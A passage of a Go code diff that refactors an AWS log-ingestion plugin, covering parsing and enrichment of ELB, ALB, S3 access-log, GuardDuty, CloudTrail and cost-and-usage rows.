l.TargetPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) + l.TargetPort, err = strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing target_port: %w", err) + } } case "request_processing_time": - rpt, err := strconv.ParseFloat(value, 64) + l.RequestProcessingTime, err = strconv.ParseFloat(value, 64) if err != nil { return fmt.Errorf("error parsing request_processing_time: %w", err) } - l.RequestProcessingTime = rpt case "target_processing_time": - tpt, err := strconv.ParseFloat(value, 64) + l.TargetProcessingTime, err = strconv.ParseFloat(value, 64) if err != nil { return fmt.Errorf("error parsing target_processing_time: %w", err) } - l.TargetProcessingTime = tpt case "response_processing_time": - rpt, err := strconv.ParseFloat(value, 64) + l.ResponseProcessingTime, err = strconv.ParseFloat(value, 64) if err != nil { return fmt.Errorf("error parsing response_processing_time: %w", err) } - l.ResponseProcessingTime = rpt case "elb_status_code": - if value != "-" { - esc, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing elb_status_code: %w", err) - } - l.ElbStatusCode = &esc + esc, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing elb_status_code: %w", err) } + l.ElbStatusCode = &esc case "target_status_code": - if value != "-" { - tsc, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing target_status_code: %w", err) - } - l.TargetStatusCode = &tsc + tsc, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing target_status_code: %w", err) } + l.TargetStatusCode = &tsc case "received_bytes": - if value != "-" { - rb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing received_bytes: %w", err) - } - l.ReceivedBytes = &rb + rb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing received_bytes: %w", err) } + l.ReceivedBytes = &rb case "sent_bytes": - if value != "-" { - sb, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing sent_bytes: %w", err) - } - l.SentBytes = &sb + sb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing sent_bytes: %w", err) } + l.SentBytes = &sb case "request": l.Request = value case "user_agent": @@ -146,23 +141,18 @@ func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { l.TraceID = value case "domain_name": l.DomainName = value - l.TpDomains = append(l.TpDomains, value) case "chosen_cert_arn": l.ChosenCertArn = value case "matched_rule_priority": - if value != "-" { - mrp, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing matched_rule_priority: %w", err) - } - l.MatchedRulePriority = mrp + l.MatchedRulePriority, err = strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing matched_rule_priority: %w", err) } case "request_creation_time": - rct, err := time.Parse(time.RFC3339, value) + l.RequestCreationTime, err = time.Parse(time.RFC3339, value) if err != nil { return fmt.Errorf("error parsing request_creation_time: %w", err) } - l.RequestCreationTime = rct case "actions_executed": l.ActionsExecuted = value case "redirect_url": @@ -178,7 +168,7 @@ func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { case "classification_reason": l.ClassificationReason = &value case "conn_trace_id": - l.ConnTraceID = value + l.ConnTraceID = &value } } return nil diff --git a/rows/elb_access_log_test.go b/rows/elb_access_log_test.go index 2e4bf254..cb305593 100644 --- a/rows/elb_access_log_test.go +++ b/rows/elb_access_log_test.go @@ -1,13 +1,15 @@ package rows import ( + "testing" + "time" + "github.com/google/go-cmp/cmp" "github.com/google/go-cmp/cmp/cmpopts" "github.com/stretchr/testify/assert" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "testing" - "time" ) func TestAwsElbAccessLog_InitialiseFromMap(t *testing.T) { diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go index da78295f..b318c604 100644 --- a/rows/guardduty_finding.go +++ b/rows/guardduty_finding.go @@ -13,56 +13,56 @@ type GuardDutyBatch struct { type GuardDutyFinding struct { enrichment.CommonFields - AccountId *string `json:"accountId"` - Arn *string `json:"arn"` - CreatedAt time.Time `json:"createdAt"` - Description *string `json:"description"` - Id *string `json:"id"` - Partition *string `json:"partition"` - Region *string `json:"region"` - AccessKeyId *string `json:"accessKeyId"` - PrincipalId *string `json:"principalId"` - UserName *string `json:"userName"` - UserType *string `json:"userType"` - AvailabilityZone *string `json:"availabilityZone"` - InstanceArn *string `json:"instanceArn"` - ImageDescription *string `json:"imageDescription"` - ImageId *string `json:"imageId"` - InstanceId *string `json:"instanceId"` - InstanceState *string `json:"instanceState"` - InstanceType *string `json:"instanceType"` - OutpostArn *string `json:"outpostArn"` - LaunchTime *string `json:"launchTime"` - Ipv6Addresses []string `json:"ipv6Addresses"` - NetworkInterfaceId string `json:"networkInterfaceId"` - PrivateDnsName string `json:"privateDnsName"` - PrivateIpAddress string `json:"privateIpAddress"` - PublicDnsName string `json:"publicDnsName"` - PublicIp string `json:"publicIp"` - GroupId string `json:"groupId"` - GroupName string `json:"groupName"` - SubnetId string `json:"subnetId"` - VpcId string `json:"vpcId"` - Platform *string `json:"platform,omitempty"` - Code string `json:"code"` - ProductType string `json:"productType"` - ResourceType *string `json:"resourceType"` - SchemaVersion *string `json:"schemaVersion"` - ActionType *string `json:"actionType"` - Api *string `json:"api"` - CallerType *string `json:"callerType"` - ErrorCode *string `json:"errorCode"` - IpAddressV4 *string `json:"ipAddressV4"` - IpAddressV6 *string `json:"ipAddressV6,omitempty"` - Archived *bool `json:"archived"` - Count *int32 `json:"count"` - DetectorId *string `json:"detectorId"` - EventFirstSeen *string `json:"eventFirstSeen"` - EventLastSeen *string `json:"eventLastSeen"` - ResourceRole *string `json:"resourceRole"` - ServiceName *string `json:"serviceName"` - Severity *float64 `json:"severity"` - Title *string `json:"title"` - Type *string `json:"type"` - UpdatedAt *string `json:"updatedAt"` + AccountId *string `json:"account_id"` + Arn *string `json:"arn"` + CreatedAt time.Time `json:"created_at"` + Description *string `json:"description"` + Id *string `json:"id"` + Partition *string `json:"partition"` + Region *string `json:"region"` + AccessKeyId *string `json:"access_key_id"` + PrincipalId *string `json:"principal_id"` + UserName *string `json:"user_name"` + UserType *string `json:"user_type"` + AvailabilityZone *string `json:"availability_zone"` + InstanceArn *string `json:"instance_arn"` + ImageDescription *string `json:"image_description"` + ImageId *string `json:"image_id"` + InstanceId *string `json:"instance_id"` + InstanceState *string `json:"instance_state"` + InstanceType *string `json:"instance_type"` + OutpostArn *string `json:"outpost_arn"` + LaunchTime *string `json:"launch_time"` + Ipv6Addresses []string `json:"ipv6_addresses"` + NetworkInterfaceId string `json:"network_interface_id"` + PrivateDnsName string `json:"private_dns_name"` + PrivateIpAddress string `json:"private_ip_address"` + PublicDnsName string `json:"public_dns_name"` + PublicIp string `json:"public_ip"` + GroupId string `json:"group_id"` + GroupName string `json:"group_name"` + SubnetId string `json:"subnet_id"` + VpcId string `json:"vpc_id"` + Platform *string `json:"platform,omitempty"` + Code string `json:"code"` + ProductType string `json:"product_type"` + ResourceType *string `json:"resource_type"` + SchemaVersion *string `json:"schema_version"` + ActionType *string `json:"action_type"` + Api *string `json:"api"` + CallerType *string `json:"caller_type"` + ErrorCode *string `json:"error_code"` + IpAddressV4 *string `json:"ip_address_v4"` + IpAddressV6 *string `json:"ip_address_v6,omitempty"` + Archived *bool `json:"archived"` + Count *int32 `json:"count"` + DetectorId *string `json:"detector_id"` + EventFirstSeen *string `json:"event_first_seen"` + EventLastSeen *string `json:"event_last_seen"` + ResourceRole *string `json:"resource_role"` + ServiceName *string `json:"service_name"` + Severity *float64 `json:"severity"` + Title *string `json:"title"` + Type *string `json:"type"` + UpdatedAt *string `json:"updated_at"` } diff --git a/rows/lambda_log.go b/rows/lambda_log.go index b6291904..c9aa4fa4 100644 --- a/rows/lambda_log.go +++ b/rows/lambda_log.go @@ -6,7 +6,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/enrichment" ) -type AwsLambdaLog struct { +type LambdaLog struct { enrichment.CommonFields Timestamp *time.Time `json:"timestamp,omitempty"` diff --git a/rows/s3_server_access_log.go b/rows/s3_server_access_log.go index 484410ad..00b28076 100644 --- a/rows/s3_server_access_log.go +++ b/rows/s3_server_access_log.go @@ -11,32 +11,32 @@ import ( type S3ServerAccessLog struct { enrichment.CommonFields - BucketOwner string `json:"bucket_owner"` - Bucket string `json:"bucket"` + BucketOwner string `json:"bucket_owner"` + Bucket string `json:"bucket"` Timestamp time.Time `json:"timestamp"` - RemoteIP string `json:"remote_ip"` - Requester string `json:"requester"` - RequestID string `json:"request_id"` - Operation string `json:"operation"` - Key *string `json:"key,omitempty"` - RequestURI *string `json:"request_uri,omitempty"` - HTTPStatus *int `json:"http_status,omitempty"` - ErrorCode *string `json:"error_code,omitempty"` - BytesSent *int64 `json:"bytes_sent,omitempty"` - ObjectSize *int64 `json:"object_size,omitempty"` - TotalTime *int `json:"total_time,omitempty"` - TurnAroundTime *int `json:"turn_around_time,omitempty"` - Referer *string `json:"referer,omitempty"` - UserAgent *string `json:"user_agent,omitempty"` - VersionID *string `json:"version_id,omitempty"` - HostID *string `json:"host_id,omitempty"` - SignatureVersion *string `json:"signature_version,omitempty"` - CipherSuite *string `json:"cipher_suite,omitempty"` - AuthenticationType *string `json:"authentication_type,omitempty"` - HostHeader *string `json:"host_header,omitempty"` - TLSVersion *string `json:"tls_version,omitempty"` - AccessPointArn *string `json:"access_point_arn,omitempty"` - AclRequired *bool `json:"acl_required,omitempty"` + RemoteIP string `json:"remote_ip"` + Requester string `json:"requester"` + RequestID string `json:"request_id"` + Operation string `json:"operation"` + Key *string `json:"key,omitempty"` + RequestURI *string `json:"request_uri,omitempty"` + HTTPStatus *int `json:"http_status,omitempty"` + ErrorCode *string `json:"error_code,omitempty"` + BytesSent *int64 `json:"bytes_sent,omitempty"` + ObjectSize *int64 `json:"object_size,omitempty"` + TotalTime *int `json:"total_time,omitempty"` + TurnAroundTime *int `json:"turn_around_time,omitempty"` + Referer *string `json:"referer,omitempty"` + UserAgent *string `json:"user_agent,omitempty"` + VersionID *string `json:"version_id,omitempty"` + HostID *string `json:"host_id,omitempty"` + SignatureVersion *string `json:"signature_version,omitempty"` + CipherSuite *string `json:"cipher_suite,omitempty"` + AuthenticationType *string `json:"authentication_type,omitempty"` + HostHeader *string `json:"host_header,omitempty"` + TLSVersion *string `json:"tls_version,omitempty"` + AccessPointArn *string `json:"access_point_arn,omitempty"` + AclRequired *bool `json:"acl_required,omitempty"` } func NewS3ServerAccessLog() *S3ServerAccessLog { @@ -56,11 +56,8 @@ func (l *S3ServerAccessLog) InitialiseFromMap(m map[string]string) error { return fmt.Errorf("error parsing timestamp: %w", err) } l.Timestamp = ts - l.TpTimestamp = ts case "remote_ip": l.RemoteIP = value - l.TpSourceIP = &value - l.TpIps = append(l.TpIps, value) case "requester": l.Requester = value case "request_id": diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index b234cd6e..ed7e8fde 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -1,14 +1,11 @@ package tables -// Package tables implements the AWS ALB (Application Load Balancer) access log table. -// This implementation handles parsing and structuring ALB access logs into queryable data. - import ( "time" "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -17,6 +14,11 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/table" ) +const AlbAccessLogTableIdentifier = "aws_alb_access_log" + +const albLogFormat = `$type $timestamp $alb $client $target $request_processing_time $target_processing_time $response_processing_time $alb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` +const albLogFormatNoConnTrace = `$type $timestamp $alb $client $target $request_processing_time $target_processing_time $response_processing_time $alb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` + func init() { table.RegisterTable[*rows.AlbAccessLog, *AlbAccessLogTable]() } @@ -25,23 +27,31 @@ type AlbAccessLogTable struct { table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] } -func (t *AlbAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.AlbAccessLog] { +func (c *AlbAccessLogTable) initMapper() func() table.Mapper[*rows.AlbAccessLog] { + f := func() table.Mapper[*rows.AlbAccessLog] { + return table.NewDelimitedLineMapper(rows.NewAlbAccessLog, albLogFormat, albLogFormatNoConnTrace) + } + return f +} + +func (c *AlbAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.AlbAccessLog] { return []*table.SourceMetadata[*rows.AlbAccessLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewAlbAccessLogMapper, - Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, + MapperFunc: c.initMapper(), + Options: []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + }, }, } } -func (t *AlbAccessLogTable) Identifier() string { - return "aws_alb_access_log" +func (c *AlbAccessLogTable) Identifier() string { + return AlbAccessLogTableIdentifier } -func (*AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { - // Add source enrichment fields if provided +func (c *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields } @@ -50,10 +60,9 @@ func (*AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFiel row.TpID = xid.New().String() row.TpTimestamp = row.Timestamp row.TpIngestTimestamp = time.Now() - // truncate timestamp to date row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - // Use ALB name as the index - row.TpIndex = row.AlbName + + row.TpIndex = row.Alb // TODO: #enrichment figure out how to get the account id / better index // IP-related enrichment if row.ClientIP != "" { diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 936d05b0..5a0d49ac 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -1,17 +1,18 @@ package tables import ( - "github.com/turbot/tailpipe-plugin-sdk/constants" "strings" "time" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -31,7 +32,6 @@ type CloudTrailLogTable struct { func (t *CloudTrailLogTable) SupportedSources() []*table.SourceMetadata[*rows.CloudTrailLog] { // the default file layout for CloudTrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - // TODO #config finalise default cloudtrail file layout FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), } diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index 499c5571..c6b3c242 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -1,10 +1,10 @@ package tables import ( - "github.com/turbot/tailpipe-plugin-sdk/constants" "time" "github.com/rs/xid" + typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" @@ -12,6 +12,7 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/constants" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -60,7 +61,7 @@ func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrich // Record standardization row.TpID = xid.New().String() - row.TpSourceType = "aws_cost_and_usage_log" + row.TpIngestTimestamp = time.Now() // we are using the invoice date as the tp_timestamp, but we dont always get the invoice date // so we use the BillingPeriodStartDate as a fallback @@ -72,8 +73,8 @@ func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrich } else if row.BillingPeriodEndDate != nil { row.TpTimestamp = *row.BillingPeriodEndDate } + row.TpDate = row.TpTimestamp.Truncate(24 * time.Hour) - row.TpIngestTimestamp = time.Now() // if row.PayerAccountName != nil { // row.TpSourceIP = row.PayerAccountName // row.TpIps = append(row.TpIps, *row.PayerAccountName) @@ -87,14 +88,6 @@ func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrich } else { row.TpIndex = typehelpers.SafeString(row.PayerAccountId) } - // convert to date in format yy-mm-dd - if row.InvoiceDate != nil { - row.TpDate = row.InvoiceDate.Truncate(24 * time.Hour) - } else if row.BillingPeriodStartDate != nil { - row.TpDate = row.BillingPeriodStartDate.Truncate(24 * time.Hour) - } else if row.BillingPeriodEndDate != nil { - row.TpDate = row.BillingPeriodEndDate.Truncate(24 * time.Hour) - } return row, nil } diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index efe7da71..32195af9 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -1,73 +1,84 @@ package tables -// -//// register the table from the package init function -//func init() { -// table.RegisterTable[*ElbAccessLogTable]() -//} -// -//const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` -//const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` -// -//type ElbAccessLogTable struct { -// table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] -//} -// -// -//func (c *ElbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { -// // call base init -// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { -// return err -// } -// -// c.initMapper() -// return nil -//} -// -//func (c *ElbAccessLogTable) initMapper() { -// // todo switch on source -// c.Mapper = table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) -//} -// -//func (c *ElbAccessLogTable) Identifier() string { -// return "aws_elb_access_log" -//} -// -//func (c *ElbAccessLogTable) GetRowSchema() types.RowStruct { -// return &rows.ElbAccessLog{} -//} -// -//func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { -// return &ElbAccessLogTableConfig{} -//} -// -//func (c *ElbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { -// return []row_source.RowSourceOption{ -// artifact_source.WithRowPerLine(), -// } -//} -// -//func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { -// // TODO: #validate ensure we have a timestamp field -// -// // add any source enrichment fields -// if sourceEnrichmentFields != nil { -// row.CommonFields = *sourceEnrichmentFields -// } -// -// // Record standardization -// row.TpID = xid.New().String() -// row.TpIngestTimestamp = time.Now() -// row.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? -// -// // Hive Fields -// row.TpPartition = c.Identifier() -// if row.TpIndex == "" { -// row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) -// } -// -// // convert to date in format yy-mm-dd -// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) -// -// return row, nil -//} +import ( + "time" + + "github.com/rs/xid" + + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +const ElbAccessLogTableIdentifier = "aws_elb_access_log" + +// register the table from the package init function +func init() { + table.RegisterTable[*rows.ElbAccessLog, *ElbAccessLogTable]() +} + +const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` +const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` + +type ElbAccessLogTable struct { + table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] +} + +func (c *ElbAccessLogTable) initMapper() func() table.Mapper[*rows.ElbAccessLog] { + f := func() table.Mapper[*rows.ElbAccessLog] { + return table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) + } + return f +} + +func (c *ElbAccessLogTable) Identifier() string { + return ElbAccessLogTableIdentifier +} + +func (c *ElbAccessLogTable) SupportedSources() []*table.SourceMetadata[*rows.ElbAccessLog] { + return []*table.SourceMetadata[*rows.ElbAccessLog]{ + { + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: c.initMapper(), + Options: []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + }, + }, + } + +} + +func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + row.TpIngestTimestamp = time.Now() + row.TpTimestamp = row.Timestamp + row.TpDate = row.Timestamp.Truncate(24 * time.Hour) + + row.TpIndex = row.Elb // TODO: #enrichment figure out how to get account id / other index + + row.TpSourceIP = &row.ClientIP + row.TpIps = append(row.TpIps, row.ClientIP) + if row.TargetIP != nil { + row.TpDestinationIP = row.TargetIP + row.TpIps = append(row.TpIps, *row.TargetIP) + } + + if row.DomainName != "" { + row.TpDomains = append(row.TpDomains, row.DomainName) + } + + if row.TargetGroupArn != "" { + row.TpAkas = append(row.TpAkas, row.TargetGroupArn) + } + + return row, nil +} diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index f154cdcf..5944cf18 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -1,88 +1,78 @@ package tables -//import ( -// "github.com/rs/xid" -// "github.com/turbot/pipe-fittings/utils" -// "github.com/turbot/tailpipe-plugin-aws/config" -// "github.com/turbot/tailpipe-plugin-aws/mappers" -// "github.com/turbot/tailpipe-plugin-aws/rows" -// "github.com/turbot/tailpipe-plugin-sdk/artifact_source" -// "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" -// "github.com/turbot/tailpipe-plugin-sdk/enrichment" -// "github.com/turbot/tailpipe-plugin-sdk/parse" -// "github.com/turbot/tailpipe-plugin-sdk/row_source" -// "github.com/turbot/tailpipe-plugin-sdk/table" -// "github.com/turbot/tailpipe-plugin-sdk/types" -// "time" -//) -// -//// register the table from the package init function -//func init() { -// table.RegisterTable(NewGuardDutyFindingTable) -//} -// -//// GuardDutyFindingTable - table for GuardDuty Findings -//type GuardDutyFindingTable struct { -// table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] -//} -// -//func NewGuardDutyFindingTable() table.Table[*rows.GuardDutyFinding] { -// return &GuardDutyFindingTable{} -//} -// -//func (c *GuardDutyFindingTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { -// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { -// return err -// } -// c.initMapper() -// return nil -//} -// -//func (c *GuardDutyFindingTable) initMapper() { -// c.Mapper = mappers.NewGuardDutyMapper() -//} -// -//func (c *GuardDutyFindingTable) Identifier() string { -// return "aws_guardduty_finding" -//} -// -//func (c *GuardDutyFindingTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { -// var opts []row_source.RowSourceOption -// switch sourceType { -// case artifact_source.AwsS3BucketSourceIdentifier: -// defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ -// FileLayout: utils.ToStringPointer("AWSLogs/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), -// } -// opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) -// } -// return opts -//} -// -//func (c *GuardDutyFindingTable) GetRowSchema() types.RowStruct { -// return rows.GuardDutyFinding{} -//} -// -//func (c *GuardDutyFindingTable) GetConfigSchema() parse.Config { -// return &GuardDutyFindingTableConfig{} -//} -// -//func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.GuardDutyFinding, error) { -// if sourceEnrichmentFields != nil { -// row.CommonFields = *sourceEnrichmentFields -// } -// row.TpID = xid.New().String() -// row.TpSourceType = "aws_guardduty_finding" -// row.TpTimestamp = row.CreatedAt -// row.TpIngestTimestamp = time.Now() -// -// if row.IpAddressV4 != nil { -// if row.IpAddressV4 != nil { -// row.TpIps = append(row.TpIps, *row.IpAddressV4) -// } -// } -// -// row.TpIndex = *row.AccountId -// row.TpDate = row.CreatedAt.Truncate(24 * time.Hour) -// -// return row, nil -//} +import ( + "time" + + "github.com/rs/xid" + + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/constants" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +const GuardDutyFindingTableIdentifier = "aws_guardduty_finding" + +// register the table from the package init function +func init() { + table.RegisterTable[*rows.GuardDutyFinding, *GuardDutyFindingTable]() +} + +// GuardDutyFindingTable - table for GuardDuty Findings +type GuardDutyFindingTable struct { + table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] +} + +func (c *GuardDutyFindingTable) Identifier() string { + return GuardDutyFindingTableIdentifier +} + +func (c *GuardDutyFindingTable) SupportedSources() []*table.SourceMetadata[*rows.GuardDutyFinding] { + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), + } + + return []*table.SourceMetadata[*rows.GuardDutyFinding]{ + { + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: mappers.NewGuardDutyMapper, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), + artifact_source.WithRowPerLine(), + }, + }, + } +} + +func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.GuardDutyFinding, error) { + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + row.TpID = xid.New().String() + row.TpTimestamp = row.CreatedAt + row.TpIngestTimestamp = time.Now() + row.TpDate = row.CreatedAt.Truncate(24 * time.Hour) + row.TpIndex = *row.AccountId + + if row.IpAddressV4 != nil { + 